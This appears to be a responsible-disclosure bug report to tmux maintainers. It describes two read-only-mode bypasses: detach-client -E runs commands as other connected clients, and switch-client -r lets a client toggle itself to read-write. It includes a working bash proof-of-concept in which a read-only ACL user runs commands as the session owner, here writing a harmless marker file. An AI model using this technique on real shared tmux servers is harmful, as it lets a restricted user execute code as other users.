Hello,
I think I may have discovered two minor security tmux bugs, both of which relate to the enforcement of read only mode.
The first is in detach-client, which has the CMD_READONLY flag set, and is therefore able to be run by read only clients.
This command accepts a -E argument with a shell command to run to replace the session being closed.
At first blush this seems harmless. If a user is detaching their own session, this just runs a shell command locally for them. However, detach-client also exposes a -a and -s options that allow the user to detach all clients from other sessions. This is potentially already a violation of the intent of CMD_READONLY, but combined with -E, it allows the read only user to run an arbitrary command as any user connected to tmux after disconnecting their session.
I've included a script below that reproduces the issue.
The second potential bug has to do with the switch-client command, which is also a CMD_READONLY command allowed in read only sessions. This command includes a -r option which can toggle the read only mode of a session. As a result, a user can "upgrade" their own session to full read write.
Thanks,
-John
Script to reproduce detatch-client issue:
#!/bin/bash
# PoC: a read-only ACL user gains code execution as a read-write client
# via `detach-client -t <victim-tty> -E "<cmd>"`.
#
# Why it works: detach-client carries CMD_READONLY at the cmd_entry level,
# but its -E option forwards an arbitrary shell command to the target
# client(s), which then execve() it. The readonly gate in
# server_client_dispatch_command() (server-client.c) only inspects the
# command flag, not the -E capability. The -t branch in
# cmd_detach_client_exec() has no `loop != tc` filter, so a readonly client
# can target any other client directly.
#
# Run as root on a Linux host. Needs two non-root users (defaults alice/bob)
# and a tmux binary. Tested against tmux next-3.7.
set -eu
TMUX=${TMUX:-tmux}
A=${A:-alice} # victim (read-write owner)
B=${B:-bob} # attacker (read-only via ACL)
SOCK=/tmp/tmux-repro.sock
MARK=/tmp/tmux-repro.pwned
rm -f "$SOCK" "$MARK" "$MARK.full"
# Alice starts a server + session, opens the socket to Bob's UID,
# and grants Bob read-only ACL access.
runuser -u "$A" -- "$TMUX" -S "$SOCK" new-session -d -s s 'sleep 9999'
chmod 0666 "$SOCK"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -a -r "$B"
# Alice attaches a real client in the background. tmux needs a pty;
# `script` provides one.
runuser -u "$A" -- bash -c "
TERM=xterm-256color setsid script -qfc '$TMUX -S $SOCK attach' /dev/null \
</dev/null >/dev/null 2>&1 &
"
sleep 1
# Confirm Bob's client is treated as read-only.
echo "ACL:"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -l
# Bob (read-only) enumerates the victim tty via list-clients (CMD_READONLY)
# and then fires the bypass.
TTY=$(runuser -u "$B" -- "$TMUX" -S "$SOCK" list-clients -F '#{client_tty}')
echo "victim tty: $TTY"
runuser -u "$B" -- "$TMUX" -S "$SOCK" detach-client -t "$TTY" \
-E "id -un > $MARK; id > $MARK.full"
echo "bob's detach-client exit: $?"
sleep 1
echo
echo "Marker file (should be owned by $A and contain '$A'):"
ls -l "$MARK"
echo -n " whoami: "; cat "$MARK"
echo -n " id: "; cat "$MARK.full"
runuser -u "$A" -- "$TMUX" -S "$SOCK" kill-server 2>/dev/null || true